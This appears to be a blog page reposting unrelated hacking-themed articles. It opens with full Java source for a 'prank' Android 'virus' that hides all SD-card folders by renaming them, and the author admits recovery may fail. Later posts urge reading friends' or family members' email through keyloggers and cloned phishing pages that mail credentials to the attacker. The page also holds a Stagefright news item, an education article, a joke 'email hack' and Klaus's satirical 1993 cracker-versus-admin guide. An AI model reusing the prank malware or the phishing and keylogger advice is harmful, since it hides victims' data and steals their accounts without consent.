How To Create A Harmless Android Phone Virus ... (prank ,virus, harmless)

Creating a simple virus program(harmless,just for fun / prank)....

This program can infect the phone as well as disinfect it....

(disinfecting will not function properly in some cases,data is not actually lost anywhere but you have to recover it manually in such case... **it is also described below)

so use at own risk....

Screen shot:-

After infecting

but yet it works in most cases

This posts include a simple program in android which is capable to invisible all the SD-Card content of phone from file manager,gallery and media scanner...

The basic idea behind it is only to hide/invisible the SD-Card content from phone.so Android OS gets unaware about that data and don't shows it up.....

In Android system folders having a dot "." as initial of its name considered as hidden .... so what we do is to make each SD-card folder to start with "..." to hide them ex- 'image' --> '...image'

and while disinfecting we have to remove those dots to unhide them from system....

here we are using three dots "..." as prefix to differ them from android system hidden files..

Source code:-

package com.example.fun_virus;

import java.io.File;
import java.util.ArrayList;
import java.util.List;

import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.Toast;

public class Fun_Virus_Activity extends Activity
{
private File file;
private List myList;

public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_fun__virus);

myList = new ArrayList();

String root_sd = Environment.getExternalStorageDirectory().toString();
file = new File( root_sd + "/" ) ;
Button btn_infect = (Button) findViewById(R.id.btn_infect);
Button btn_disinfect = (Button) findViewById(R.id.btn_disinfect);

btn_infect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
SharedPreferences settings = getSharedPreferences("mysp", MODE_PRIVATE);
String inf = settings.getString("INFECTED","NO");
if(inf.equals("OK"))
{
Toast.makeText(Fun_Virus_Activity.this,"Already Infected", 5).show();
}else
{
infect();
SharedPreferences.Editor prefEditor = settings.edit();
prefEditor.putString("INFECTED", "OK");
prefEditor.commit();
}
}
});
btn_disinfect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
disinfect();
Fun_Virus_Activity.this.getSharedPreferences("mysp", 0).edit().clear().commit();
}
});

}
public void infect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
//File file2 = new File(list[i].getParent()+"..."+myList.get(i));
Log.e("abs_path",list[i].getParent()+"/"+myList.get(i)+"");
//boolean success = file.renameTo(file2);
boolean success= file.renameTo(new File(list[i].getParent(),"..."+myList.get(i)));
Log.e("bool",success+"" );
}
}
public void disinfect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
String aa= myList.get(i).replace("...", "");
Log.e("replace", aa+"");
boolean success= file.renameTo(new File(list[i].getParent(),aa));
Log.e("bool",success+"" );
}
}
}
And the layout :-

xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@drawable/vrs_logo"
tools:context=".Fun_Virus_Activity" >

android:id="@+id/btn_infect"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentLeft="true"
android:layout_alignParentTop="true"
android:layout_marginTop="32dp"
android:text="INFECT" />

android:id="@+id/btn_disinfect"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignBaseline="@+id/btn_infect"
android:layout_alignBottom="@+id/btn_infect"
android:layout_alignParentRight="true"
android:text="DISINFECT" />

**

In a condition when all previous data is not visible after disinfecting then you have to manually recover those data using file explorer like:-Es File Explorer,AndroZip etc..
you should rename folders with "..." prefix to there original name ex:- '...image' -->'image'

This will show data again.



Source : Copyed on April 18, 2018 at http://suhebqureshi.blogspot.co.id Posted by Suheb Qureshi
               As an advanced reference material, please be able to visit the official website. Thank you

Simple Text Message to Hack Any Android Phone Remotely

Own an Android phone? Beware, Your Android smartphones can be hacked by just a malformed text message.

Security researchers have found that 95% of Android devices running version 2.2 to 5.1 of operating system, which includes Lollipop and KitKat, are vulnerable to a security bug, affecting more than 950 Million Android smartphones and tablets.

Almost all Android smart devices available today are open to attack that could allow hackers to access the vulnerable device without the owners being aware of it, according to Joshua Drake, vice president of platform research and exploitation at security firm Zimperium.

The vulnerability actually resides in a core Android component called "Stagefright," a multimedia playback library used by Android to process, record and play multimedia files such as PDFs.

A Text Message Received...Your Game is Over

The sad news for most of the Android users is that the fix will not help Millions of Android users that owned older versions of the operating system that Google no longer supports, opening doors for hackers to perform Stagefright attack.

Drake has developed and published a scary exploit that uses a specially crafted text message using the multimedia message (MMS) format.

All a hacker needs is the phone number of the victim’s Android device. The hacker could then sends the malicious message that will surreptitiously execute malicious code on the vulnerable device with no end user action, no indication, nothing required.

"These vulnerabilities are extremely dangerous because they do not require that the victim take any action to be exploited," reads the Zimperium blog post published Monday.

"Unlike spear-phishing, where the victim needs to open a PDF file or a link sent by the attacker, this vulnerability can be triggered while you sleep. Before you wake up, the attacker will remove any signs of the device being compromised, and you will continue your day as usual—with a trojaned phone."

Drake will present his full findings, including six additional attack techniques to exploit the vulnerability, at Black Hat security conference in Las Vegas on on August 5 and DEF CON 23 on August 7, where he is scheduled to deliver a talk titled, Stagefright: Scary Code in the Heart of Android.

Almost all Android devices containing Stagefright are in question. According to Drake, all versions of Android devices after and including version 2.2 of the operating system are potentially vulnerable, and it is up to each device manufacturer to patch the devices against Stagefright attack.

When will I expect a Fix?

Google has patched the code and sent it to device manufacturers, but devices require over-the-air updates from companies such as Samsung or Motorola to update their customers' phones.

Given the shaky history of handset manufacturers and carriers rolling out security patches, it is not known how long the companies will take to update vulnerable Android devices against Stagefright attack.

However, Silent Circle has patched the issue in its Blackphone, as has Mozilla, which uses Stagefright code in Firefox OS.

Source : Copyed on April 18, 2018 at thehackernews.com Posted by Mohit Kumar
               As an advanced reference material, please be able to visit the official website. Thank you

With Hacking in Headlines, K-12 Cybersecurity Ed. Gets More Attention

Jennifer Langston, a freshman at Plain Dealing High School in Plain Dealing, La., is learning engineering and computer programming skills in a cyber-literacy class.
—Douglas Collier for Education Week
(Edweek.org)


By Benjamin Herold
March 21, 2017


Amid a steady drumbeat of reports on cyber-espionage and election-related hackings, lawmakers are wrestling with questions of how to best protect the country from digital threats and address a severe shortage of skilled cybersecurity workers.

That means new attention for nascent efforts to support cybersecurity education, including in K-12 schools. The National Governors Association, eight different federal agencies, and a national commission established by President Barack Obama are among those supporting a wide assortment of cybersecurity-related education and workforce-development initiatives.

The administration of President Donald Trump has also been working on its own cybersecurity executive order, an early version of which would have mandated a sweeping review of the country's related education efforts.

The idea is that both the public and private sectors need more people capable of designing, building, operating, and securing the information-technology systems that are now essential to the functioning of everything from small businesses to public utilities to the United States' national-security infrastructure. That requires a strong grounding in advanced mathematics and computer science, as well as specialized skills in fields as diverse as cryptography, software development, and network engineering.

But there are challenges.

Creating curricula and programs that can keep up with rapidly changing technologies isn't easy. Neither is squeezing another new obligation into schools' already-strained budgets and schedules. Efforts to stitch together the patchwork of existing cybersecurity-education efforts remain a work in progress.

Lingering Tensions K-12 Connection Challenges Ahead "Cybersecurity is at the center of a lot of discussions right now, but we still have a lot of work to do," said Stephen Parker, the legislative director for education and workforce issues at the National Governors Association, which has made the issue a top priority this year.

                                                         Sophomore Jaylon Lucas, left, and freshman Joseph 
                                                         Williams assemble a Boe-Bot robot while attending 
                                                         a cyber literacy class at Plain Dealing High School 
                                                         in Louisiana.
                                                         —Douglas Collier for Education Week
                                                         (Edweek.org)

There's also an ongoing debate about whether cybersecurity education should prioritize national-security or workforce-development concerns.

In January, the White House appeared headed in the former direction. President Donald Trump seemed poised to sign an executive order that included a provision directing the U.S. secretaries of the departments of Defense and Homeland Security to review the country's cybersecurity education efforts and make recommendations for improvement, according to a draft published by The Washington Post. Trump put the order on hold, however.

Secretary of Homeland Security John Kelly later told Congress the order had undergone significant revision. A later draft published by the Lawfare blog eliminated altogether the provision related to education and workforce development.

The resulting uncertainty is generating anxiety. Privacy advocates worry that civil liberties might suffer if national security agencies are put in charge of the country's cybersecurity education. Groups focused on private-sector-industry needs describe the country's shortage of skilled cybersecurity workers as a crisis that demands federal attention.

Such tensions have ebbed and flowed for years.

In December, a national cybersecurity commission established by President Barack Obama sought to bridge the gap by recommending new public-private partnerships—both to better secure the country's information-technology infrastructure and to train 150,000 new cybersecurity workers.

At all levels of government, related programmatic efforts have similarly attempted to straddle multiple worlds.

In Washington, there are cybersecurity education and workforce-training initiatives supported by the departments of Education, Energy, Homeland Security, and Labor; the federal Office of Personnel Management; the National Security Agency; and the National Science Foundation, with the National Initiative for Cybersecurity Education (NICE) at the National Institute for Standards and Technology in the federal Department of Commerce playing a coordinating role.

At the state level, leaders such as John Hickenlooper, the Democratic governor of Colorado, and Rick Snyder, the Republican governor of Michigan, have also pushed forward their own cybersecurity initiatives. Numerous states now have cybersecurity-focused career-and-technical programs, as well as dual-enrollment programs that allow high school students to earn college credits by taking cybersecurity coursework at area colleges.

And under the leadership of Virginia Gov. Terry McAuliffe, a Democrat, the National Governors Association last July launched a cybersecurity initiative dubbed "Meet the Threat." The effort brings together educators and employers. One early outcome of their discussions: a shared desire to introduce computer-science education to young children, through coding games and competitions.

Such opportunities in the K-12 arena are only going to grow, said Bert Steele, a consultant with the nonprofit Cyber Innovation Center. "There's an absolute hunger to get this kind of content into the classroom," Steele said. "Everybody realizes how relevant it is in today's society."

The Cyber Innovation Center was launched in 2007 to attract cybersecurity jobs and prepare cybersecurity workers in northwestern Louisiana.

The center's founders quickly realized, however, that such initiatives would ultimately depend on K-12 schools. Their response was a project called the National Integrated Cyber Education Research Center, which develops and shares cybersecurity lessons and resources with K-12 teachers around the country.

Now funded by the federal Department of Homeland Security, the center's curricular materials have been approved by 17 states.

At the high school level, for example, the group's "cyberliteracy" course blends civics lessons with hands-on activities involving robotics and computer programming. Students might use microcontrollers to build a robotic minesweeper, then take part in class discussions on constitutional privacy protections.

"We need to make sure students know how to live and operate in cyberspace," said Kevin Nolten, the center's director of academic outreach. "That includes hard skills, like network programming and security, but also humanities, such as cyberlaw and ethics."

It's just one of many cybersecurity education initiatives supported by several federal and state government agencies.

At the federal level, for example, the National Science Foundation works with the Office of Personnel Management to provide "CyberCorps" scholarships to students training to become cybersecurity professionals, and with the National Security Agency, to fund free "GenCyber" summer camps for K-12 students and teachers.

The NSA also works with the Homeland Security Department to designate degree-granting cybersecurity programs at more than 200 colleges and universities as Centers of Academic Excellence.

And DHS is involved in a number of other undertakings. The department, along with the National Institute of Standards and Technology at the Commerce Department, as well as the office of the secretary of defense, played a pivotal role in the development of the NICE Cybersecurity Workforce Framework, which provides a detailed breakdown of the skills required for a wide range of cybersecurity-related work. DHS also maintains an online directory of cybersecurity-training courses.

                                                          A Boe-Bot is in the final stages of assembly. The robotic 
                                                          kits are used to help teach students programming and 
                                                          engineering skills needed for cybersecurity jobs.
                                                          —Douglas Collier for Education Week
                                                          (Edweek.org)

Despite all the activity, the scale and quality of K-12 cybersecurity education remains spotty.

According to an analysis of national data by the nonprofit group Change the Equation, less than one-fourth of high school seniors say they've ever taken a computer science course, let alone a more technical and highly specialized class focused on cybersecurity. Low-income, black, and Native American students are much less likely than Asian and white students to attend a school offering computer science.

Staffing shortages are one big barrier to improvement, said Vince Bertram, the president and CEO of Project Lead the Way, a nonprofit that provides computer science curriculum to 4,000 K-12 schools across the country and plans to unveil a yearlong cybersecurity course for high schools in fall 2018.

Another challenge is how quickly the cybersecurity field changes.

The programming languages taught today may well be irrelevant by the time a current high schooler hits the job market.

Emerging technologies such as autonomous vehicles also present new security threats. And the growing tension between privacy and security is only getting more pronounced: Should the focus of K-12 cybersecurity education be training students who can develop strong encryption systems capable of protecting users' privacy, even against government surveillance—or students who can crack consumer-encryption systems in the name of national security?

It remains uncertain where the Trump administration will land on such questions. For the time being, it's not even clear when the president might move ahead with his cybersecurity plan, or if education and workforce issues will be included.

Regardless of what happens in Washington, Bertram is among those pushing for cybersecurity education to proceed full steam ahead.

"Cybersecurity is absolutely critical to our national security, and job growth is absolutely critical to our national economy," he said. "We should not need an executive order to create urgency around this work."

Vol. 36, Issue 25, Pages 1, 15

Published in Print: March 22, 2017, as Cybersecurity Skills in Demand

Source : Copyed on April 12, 2018 at www.edweek.org

              As an advanced reference material, please be able to visit the official website. Thank you

Donation

Donation for Help Others

Hacking Victims

Just read along if you wish to hack any email that asks you the security question in case you forgot the password. This makes use of a bug present in most email(expect a few like earthlymail and electronicmail ) .There are several sites that claim to give you password by just sending an email but in that you also need to give your password.This is a fake thing you finally end up getting your id hacked.

This is a genuine method and is only for educational purpose. If you hack you are at your own.We will trick the server in thinking that the details(DOB/Securtity question & answer) you gave are true. Please read the enire post before you begin as you need to done somethings before you start composing.One important thing If you are hacking a Yahoo account compose/send mail from a Yahoo account only. If you dont have one then create it and then send.

Just compose a mail called FORGOT PASSWORD(all in caps)

Now you need to send this mail to ret_pass@**** .com(replace *** with Live/ Hotmail/MSN) OR retrieve_pass@**** .com(replace **** with Aol/AIM/Yahoo)

In the subject field type the following id:$your victims's id$
Here is the trick we need to convince the server that the details that you give are the details of that id

secque: $give your security question$ (no ? after the question. In case it has a space for eg: "What is your pet" give it as what%20is%20your%pet i.e replace any space by %20)

For Yahoo it's security

secans: $give your security answer$ (Again here also if any space then replace the space by %20 For eg: if your answer is "Google Helper" give it as google%20helper)

For Yahoo it's security & for Aol/Aim it's secan

sdob: %$dob of your id$% No % needed for Yahoo
You may also be needed to give your Pincode as spin .

Once you send the mail the server will will not know what to do. The securtiy details of the id from which you sent mail are fully correct but id mentioned is something else. So instead of giving your password it gives password of the id metioned.

You should either get the password in 10-30 min or an error will be generated. I think by now you might have understood why i asked to send for the same mail provider.If not then the reason is how will MSN know details of your AOL mail.

And one more imprtant thing this method has a 95% success rate if you dont get up from your dream. This means that this post is all Bogus. You can never hack anyone by this method.This was just to show how easy you get fooled . I decided to make it look as complicated as possible to as trick.And i excluded earthly mail to give a indirect warning sign so that clever minds might be able to catch it)

If you didnt fall for it then great else boo go start writing snail/postal mail , web is not for you. Remember it's not easy to hack.Never follow any method given online.Also dont give your id to any who claims to give you the method one coz once you give your spam mail box would be always full.

SO the moral is if you are too greedy you end up loosing every thing that you have.For true methods visit the hacking section(click here)

Hacking Through Links

This is called as phishing. Though this method is popular in mails. Mails contain link that show some thing but point to some other site all together some thing like this .

http:/www.google.com /

This will direct you to goooole.com instead to google.com. Also note the change in link the actual link has to be http:// (second "/").

This could take you into some other site orkut.com link. Another popular thing is "http://www.okrut.com/GLogin". Did found any change. No. See again. The spelling of orkut.

This will take you into some page that looks same as original but is different site all together. So if you click on a hyperlink that asks you to login check the site's address however familar it looks. So be careful.

Source : http://viruswriting.blogspot.com/

Hack Email ( yahoo / msn / aol / gmail and lot more)

Most of us are interested in hacking some one's email(mostly buddies or family members). If you want to know how to "Hack email" by both the safe(no offense way) and the "you go to jail" way then read along. all are simple but effective ways to hack emails . Solts start hacking emails

There are several ways you can achieve this let me show you all.

• Read email without hacking --  This is 100% soafe . If you are simply inerested in reading someone's email then you can achive this wihout hacking. Check out this post on Hacking emials: Read emails . The problem with this method is you cant read email of secure mails like Yahoo, Gmail, msn, Aol  or of most commonly used mail providers. This  is best for reading mails of organisations that maintain their own server wich are not secure and of mails send to small websites/blogs via forms that may not be sent securely

• Using password recovery -- This may have tough requirements but is the best method.If you wnat to get some one's password you can use a password recovery software. This too is partially safe as the softwares are not illegal but if you misuse it 's a crime. You can check out this post onhacking using password recovry softwares

• Using  Keylogger -- A keyloggger is a software that records all you keystrokes. It is used by admins to moniter the system since it records all keystrokes it will also record sensitive info. As above using keylogger is n ot illegal but misusing the result is crime. (more details comming soon)

• Phishing/Craeting fake pages   --  You can trick some one into entering his info at a fake page created by you. This is punishable offense and you will get at least 1 year sentence. Jsut creat a clone copy of that page with a form intsead of a login box that mails the details to you. Check out this post oncreating fake pages

This article is purely for knowledge sake and we dont intent to spread havoc. None of us have ever hacked into anyone's account expect may be for our own.

Source : http://viruswriting.blogspot.com/

IP Gives It All

Most people wonder how do websites come to know of your location from IP.Now you too can find out.Forget users you can even sneak up on websites. Just enter IP/URL/mailid and vola all the details of are given.

Just visit visualroute . This has some great tools that will help you. You can enter IP/URL/Domain name and much more.

Here is a pic of what it can do (click on pic for a larger image). It gives your location. who is your internet provider, how you are connected to him.

(click for larger image)

This software costs about 60$. What if you dont want to buy the software you can use the lite version. This give only how the data is sent., how are you connected yo him

(click for larger image)


What if you dont want to download any thing. then there are some online tools

• Samspade.org
• net4domain.com
• visualware.com and more.

Source : http://viruswriting.blogspot.com/

How to become a master Hacker

By Christopher Klaus

A Guide to Internet Security: Becoming an Uebercracker and Becoming an UeberAdmin to stop Uebercrackers.

Author: Christopher Klaus
Date: December 5th, 1993.
Version: 1.1

This is a paper will be broken into two parts, one showing 15 easy steps uebercracker and the next part showing how to become a ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased by Dan Farmer to refer to some elite (cr / h) that is practically acker
impossible to keep out of the networks.

Here's the steps to becoming a uebercracker.

Step 1. Relax and remain calm. Remember you are a Uebercracker.

Step 2. If you know a little Unix, you are way ahead of the crowd and skip step 3 past.

Step 3. You may want to buy Unix manual or book to let you know what ls, cd, cat does.

Step 4. Read Usenet for the following groups: alt.irc, alt.security, comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background in uebercracker culture.

Step 5. Ask alt.irc on how to get and compile the latest IRC client and connect to IRC.

Step 6. Once on IRC, join the channel # hack. (Whew, you are half-way there!)

Step 7. Now, sit on # hack and send messages to everyone in the channel saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks questions like "Why cannot I join # warez?"

Step 8. (Important Step) Send private messages to everyone asking for new bugs or holes. Here's a good pointer, look around your system for binary SUID root programs (look in the Unix manual from step 3 if confused). After finding a SUID root binary, (ie. su, chfn, syslog), tell people you have a bug in that program and you wrote a script for it. If they ask how it works, tell them they are "layme". Remember, you are a UeberCracker. Ask them to trade for their get-root scripts.

Step 9. Make them send you some scripts before you send some garbage file (ie. a big core file). Tell them it is encrypted or it was messed up and you need to upload your script again.

Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be obnoxious on # hack otherwise people will look down on you and not give you anything.)

Step 11. Hopefully you will now have atleast one or two scripts that get you root on most Unixes. Grab root on your local machines, read your admin's mail, or even other user's mail, even rm log files and whatever you temps. (look in the Unix manual from step 3 if confused).

Step 12. A good test for true uebercrackerness is to be able to fake mail.
Ask other uebercrackers how to fake mail (because they have had to pass the same test). Email your admin how "layme" he is and how you got root, and how you erased his files, and have it appear coming from satan@evil.com.

Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag about your exploits on # hack to everyone. (Make up stuff, Remember, you are a uebercracker.)

Step 14. Wait a few months and have all your notes, etc. in your room ready for when the FBI, Secret Service and other law enforcement agencies confinscate your equipment. Call eff.org to complain how you were and how innocent you accidently gotten someone else's account and only looked because you were curious. (Whatever else that may help, throw at them.)

Step 15. Now for the true final supreme eliteness of all uebercrackers, you go back to # hack and brag about how you were Busted. YOU are finally a true Uebercracker.


Now the next part of the paper is top secret. Please pass only to trusted friends and administrators and even some trusted mailing lists, Usenet groups, etc. (Make sure no one who is NOT in the inner circle of security gets this.)

This is broken down on How to Become an UeberAdmin (otherwise know as a security expert) and How to stop Uebercrackers.

Step 1. Read Unix manual (a good idea for admins).

Step 2. Very Important. Chmod 700 rdist; chmod 644 / etc / utmp. Install sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers now. Rdist scripts is among the favorites for getting root by uebercrackers.

Step 3. Okay, maybe you want to actually secure your machine from the elite Uebercrackers who can break into any site on the Internet.

Step 4. Set up your firewall to block RPC / nfs / ip-forwarding / src routing packets. (This only applies to advanced admins who have control of the router, but this will stop 90% of all uebercrackers from attempting your site.)

Step 5. Apply all vendor patches Cert and to all of your machines. You have just now killed 95% of all uebercrackers.

Step 6. Run a good password cracker to find open accounts and close them.
Run tripwire after making sure your binaries are untouched. Run tcp_wrapper to find if a uebercracker is knocking on your machines. Run ISS to make sure that all your machines are reasonably secure as far as remote configuration (ie. your NFS exports and anonymous FTP site.)

Step 7. If you have done all of the following, you will have stopped 99% of all uebercrackers. Congrads! (Remember, you are the admin.)

Step 8. Now there is one percent of uebercrackers that have gained some knowledge from reading security expert's mail (probably gained access to his mail via NFS exports or the guest account. You know how it is, like the mechanic that always has a broken car, or the plumber that has the broken sink, the security expert usually has an open machine.)

Step 9. Here is the hard part is to try to convince these security experts that they are not so above the average citizen and that by now giving out their unknown (except for the uebercrackers) security bug, it would be a service to the Internet. They do not have to post it on Usenet, but share
among many other trusted people and hopefully fixes will come about and new pressure will be applied to vendors to come out with patches.

Step 10. If you have gained the confidence of enough security experts, you will know to be looked upto as an elite security administrator that is able to stop most uebercrackers. The final true test for being a ueberadmin is to compile a IRC client, go onto # hack and log all the bragging and help catch the uebercrackers. If a uebercracker does get into your system, and he has used a new method you have never seen, you can probably tell your other security admins and get half of the replies like - "That bug been known for years, there just is not any patches for it yet. Here's my fix. " and the other half of the replies will be like - "Wow. That is very impressive. You have just moved up a big security NOTCH in my circle." VERY IMPORTANT HERE: If you see anyone's security in Usenet newsgroups mention anything about that security holes, Flame him for discussing it since it could bring down the Internet and all Uebercrackers will now have it and the million other reasons to keep everything secret about security.


Well, this paper has shown the finer details of security on the Internet. It has shown both sides of the coin. Three points I would like to make that would probably clean up most of the security problems on the Internet are the following:

1. Vendors need to make security a little higher than zero in priority.
If most vendors shipped their Unixes already secure with most known bugs that have been floating around since the Internet Worm (6 years ago) fixed and patched, then most would be stuck uebercrackers as new machines get added to the Internet. (I believe Uebercracker is german for "lame copy-cat that can get root with 3 year old bugs.") An interesting note is that
if you probably check the mail alias for "security@vendor.com", you will find it points to / dev / null. Maybe with enough mail, it will overfill / dev / null. (Look in the manual if confused.)

2. Security experts giving up the attitude that they are above the normal
Internet users and try to give out information that could lead to pressure by other admins to vendors to come out with fixes and patches. Most security experts probably do not realize how far their information has already spread.

3. And probably one of the more important points is just following the steps I have outlined for Stopping a Uebercracker.


Resources for Security:
Many security advisories are available from anonymous ftp cert.org.
Ask archie to find tcp_wrapper, security programs. For more information about ISS (Internet Security Scanner), email cklaus@shadow.net.


Acknowledgements:

Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott
Miles, Scott Yelich, and Henri De Valois.
Learn More... Ecology

Source: http://www.governmentsecurity.org/HowtobecomeamasterHacker.php